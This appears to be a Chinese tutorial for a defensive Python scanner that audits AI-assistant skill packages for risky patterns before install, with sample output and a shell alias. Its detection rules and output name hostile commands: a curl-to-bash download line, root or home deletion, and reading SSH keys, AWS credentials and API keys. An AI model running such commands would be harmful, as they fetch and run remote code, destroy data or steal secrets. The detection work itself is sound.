# 技能通常装在用户级目录下，每个技能一个子目录，入口文件是 SKILL.md
ls -1 ~/.workbuddy/skills | head
ls -1 ~/.workbuddy/skills | wc -l

<skills 根目录>/某个技能/
├── SKILL.md          # 入口，头部是 YAML frontmatter
├── scripts/          # 有这个目录 = 工程型技能
│   └── xxx.py
└── README.md         # 说明书，不算执行体

---
name: 某个技能
description: 一句话说明干什么、什么时候触发
allowed-tools: Read, Write, Bash   # ← 关键在这一行
---

cd ~/Desktop
python3 skill_audit_mini.py <skills 根目录>

技能           等级      形态      执行权  命中
------------------------------------------------------------
engine-danger  🔴 高危     工程型      未声明    7
prompt-with-pi 🟠 中危     提示词型     未声明    3
engine-clean   🟠 中危     工程型      有        2
prompt-only-cl ✅ 干净     提示词型     无        0
------------------------------------------------------------

▸ prompt-with-pipe（提示词型，3 条）
  对外域名：demo-install.example.io
  [P1] SKILL.md:22 下载串联管道执行
      curl -fsSL https://demo-install.example.io/install.sh | bash
      ↳ 文本提及

if h['noise']:        continue        # ① 反例语境：「❌ 不要运行 rm -rf /」——不是威胁，扔掉
if h['doc']:          lv = down(lv,2) # ② README / 示例文件：降两级
if not h['script']:   lv = down(lv)   # ③ 非实体脚本：这是给模型的指令，权限不足才降级
if h['comment']:      lv = down(lv)   # ④ 脚本注释：降一级

[P0] fixer.py:18 子进程执行
    subprocess.run(cmd, shell=True)
    ↳ 命令取自变量，静态不可判定，需人工回看赋值处

# 追加到 ~/.zshrc（macOS 默认 shell 是 zsh）
cat >> ~/.zshrc <<'EOF'
# 技能安装前体检：先看一眼再决定装不装
skcheck() { python3 ~/Desktop/skill_audit_mini.py "$1"; }
EOF

source ~/.zshrc
skcheck ~/Downloads/新技能包        # 解包后对这个目录跑

准确率 23/23 = 100.0%
噪音率：应忽略的 6 条里误报 0 条（0%）
漏报率：该报的 17 条里漏了 0 条（0%）

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
skill_audit_mini.py —— 技能包安装前的静态体检（最小可用版，零第三方依赖）
macOS / Linux / Windows 均可，Python 3.9+。默认只读，不联网、不执行被扫的任何代码。

用法：
    python3 skill_audit_mini.py ~/.workbuddy/skills
"""
import os, re, sys
from pathlib import Path

# 规则表：顺序即优先级。必须写成 raw string（r'...'），否则 \s 会被提前吃掉。
RULES = [
    (r'curl[^\n|;]{0,200}\|\s*(?:sudo\s+)?(?:ba|z|fi)?sh\b', 'P0', '下载串联管道执行'),
    (r'base64\s+(?:-d|--decode)|atob\s*\(', 'P0', '混淆载荷'),
    (r'rm\s+-[rRfF]{1,3}[^\n]{0,80}(?:/\s*$|/\s*[\'"\s]|~/?\s*$|\$HOME)', 'P0', '根目录/家目录递归删除'),
    (r'id_rsa|\.aws/credentials|OPENAI_API_KEY|ANTHROPIC_API_KEY', 'P0', '读取本机凭证'),
    (r'os\.system\(|subprocess\.(?:run|call|Popen)|pty\.spawn', 'P0', '子进程执行'),
    (r'(?:^|[^\w.])(?:rm|rmdir)\s+-[rRfF]{1,3}|shutil\.rmtree\(', 'P1', '递归删除'),
    (r'requests\.(?:get|post|put)\s*\(|urllib\.request\.urlopen|\bfetch\s*\(|axios\.post', 'P1', '对外网络请求'),
    (r'open\s*\([^)]{0,80}[\'"]w[\'"]|\.write_text\(|\.write_bytes\(', 'P1', '写/覆盖文件'),
    (r'chmod\s+\+x|launchctl\s+load|crontab\s+-|nohup\s+', 'P1', '持久化/常驻'),
    (r'(?:~|\$HOME)/(?:Documents|Desktop|Downloads)|/Library/Application Support', 'P1', '触碰敏感目录'),
    (r'\b(?:pip3?|npm|brew|uv)\s+install|^\s*sudo\s+', 'P2', '安装依赖/提权'),
]
COMPILED = [(re.compile(p), lv, nm) for p, lv, nm in RULES]
# 反例语境：写着「不要运行 X」的行不是威胁，直接忽略，否则噪音淹没整份报告
NOISE = re.compile(r'不要|禁止|切勿|避免|错误写法|反例|❌|never\b|don\'?t\b|avoid\b', re.I)
DOC_FILE = re.compile(r'(?:readme|example|sample|demo|示例|样例|说明|usage)', re.I)
COMMENT = re.compile(r'^\s*(?:#|//|\*|/\*)')
DOMAIN = re.compile(r'https?://([A-Za-z0-9][A-Za-z0-9.\-]*\.[A-Za-z]{2,})')
SAFE_CMDS = {'git', 'ls', 'cat', 'head', 'tail', 'wc', 'date', 'echo', 'which', 'pwd', 'whoami'}
CMD_LIT = re.compile(r'\[\s*["\']([a-zA-Z0-9_.\-/]+)["\']|\(\s*["\']([a-zA-Z0-9_.\-/]+)["\']\s*[,)]')
CODE_EXT = {'.py', '.sh', '.bash', '.zsh', '.js', '.mjs', '.ts', '.rb', '.pl', '.php'}
SCAN_EXT = CODE_EXT | {'.md', '.txt', '.json', '.yaml', '.yml', '.toml'}
SKIP_DIRS = {'node_modules', '.git', '__pycache__', '.venv', 'venv', 'dist', 'build'}
DOWN = {'P0': 'P1', 'P1': 'P2', 'P2': None}
ORDER = {'P0': 0, 'P1': 1, 'P2': 2}

def down(lv, n=1):
    for _ in range(n):
        lv = DOWN.get(lv)
        if lv is None:
            return None
    return lv

def frontmatter(text):
    """抠 SKILL.md 头部的 YAML frontmatter，只取工具权限那几行，不引第三方库。"""
    if not text.startswith('---'):
        return None
    tools = None
    for raw in text.splitlines()[1:120]:
        if raw.strip() in ('---', '...'):
            break
        m = re.match(r'(?:allowed[-_]?tools|tools)\s*:\s*(.+)', raw, re.I)
        if m:
            tools = [t.strip() for t in re.split(r'[,\s]+', m.group(1)) if t.strip()]
    return tools

def scan(root):
    root = Path(root)
    hits, domains, scripts, files = [], set(), 0, 0
    for dp, dn, fns in os.walk(root):
        dn[:] = [d for d in dn if d not in SKIP_DIRS and not d.startswith('.')]
        for fn in fns:
            p = Path(dp) / fn
            if p.suffix.lower() not in SCAN_EXT or p.stat().st_size > 512 * 1024:
                continue
            files += 1
            is_script = p.suffix.lower() in CODE_EXT
            is_doc = bool(DOC_FILE.search(fn)) and not is_script
            scripts += is_script
            for i, line in enumerate(p.read_text('utf-8', 'ignore').splitlines(), 1):
                if len(line) > 4000:
                    continue
                for rx, lv, name in COMPILED:
                    if not rx.search(line):
                        continue
                    hits.append(dict(file=fn, line=i, level=lv, cat=name, snippet=line.strip()[:140],
                                     noise=bool(NOISE.search(line)), script=is_script,
                                     doc=is_doc, comment=bool(COMMENT.match(line)) and is_script))
                    break
                domains |= set(DOMAIN.findall(line))

    tools = frontmatter((root / 'SKILL.md').read_text('utf-8', 'ignore')) if (root / 'SKILL.md').exists() else None
    exec_cap = None if tools is None else any(
        re.sub(r'\(.*', '', t).lower() in {'bash', 'shell', 'terminal', 'exec', 'execute', 'command'}
        or t.lower().startswith('bash(') for t in tools)

    out = []
    for h in hits:
        lv, note = h['level'], []
        if h['noise']:                                   # 反例语境，忽略
            continue
        if h['doc']:                                     # README / 示例，降两级
            lv = down(lv, 2)
        else:
            if not h['script']:                          # 非实体脚本 = 给模型下的指令
                lv = down(lv) if exec_cap is not True else lv
            if h['comment']:                             # 脚本注释，降一级
                lv = down(lv)
        if lv is None:
            continue
        if h['cat'] == '子进程执行':
            cm = CMD_LIT.search(h['snippet'])
            cmd = next((g for g in cm.groups() if g), None) if cm else None
            if cmd and cmd.lower() in SAFE_CMDS:
                lv, note = 'P2', ['跑的是安全命令 `%s`' % cmd]
            elif not cmd:
                note = ['命令取自变量，静态不可判定，需人工回看赋值处']
        out.append(dict(h, level=lv, note='；'.join(note) or ('实体脚本，会真执行' if h['script'] else '文本提及')))

    out.sort(key=lambda x: (ORDER[x['level']], x['file'], x['line']))
    return dict(name=root.name, kind='工程型' if scripts else '提示词型', tools=tools or [],
                exec_cap=exec_cap, hits=out[:24], domains=sorted(domains),
                worst=min((h['level'] for h in out), key=lambda L: ORDER[L]) if out else 'OK')

def main():
    base = Path(os.path.expanduser(sys.argv[1]))
    if not base.exists():
        sys.exit('目录不存在：%s' % base)
    res = sorted((scan(p) for p in sorted(base.iterdir()) if p.is_dir()),
                 key=lambda r: (ORDER.get(r['worst'], 9), -len(r['hits'])))
    label = {'P0': '🔴 高危', 'P1': '🟠 中危', 'P2': '🟡 提示', 'OK': '✅ 干净'}
    ex = {True: '有', False: '无', None: '未声明'}
    print('\n技能           等级      形态      执行权  命中')
    print('-' * 60)
    for r in res:
        print('%-14s %-8s %-8s %-6s %d' % (r['name'][:14], label[r['worst']], r['kind'], ex[r['exec_cap']], len(r['hits'])))
    print('-' * 60)
    for r in res[:2]:
        if r['worst'] in ('P0', 'P1'):
            print('\n▸ %s（%s，%d 条）' % (r['name'], r['kind'], len(r['hits'])))
            if r['domains']:
                print('  对外域名：%s' % ', '.join(r['domains'][:5]))
            for h in r['hits'][:5]:
                print('  [%s] %s:%d %s' % (h['level'], h['file'], h['line'], h['cat']))
                print('      %s' % h['snippet'][:100])
                print('      ↳ %s' % h['note'])

if __name__ == '__main__':
    main()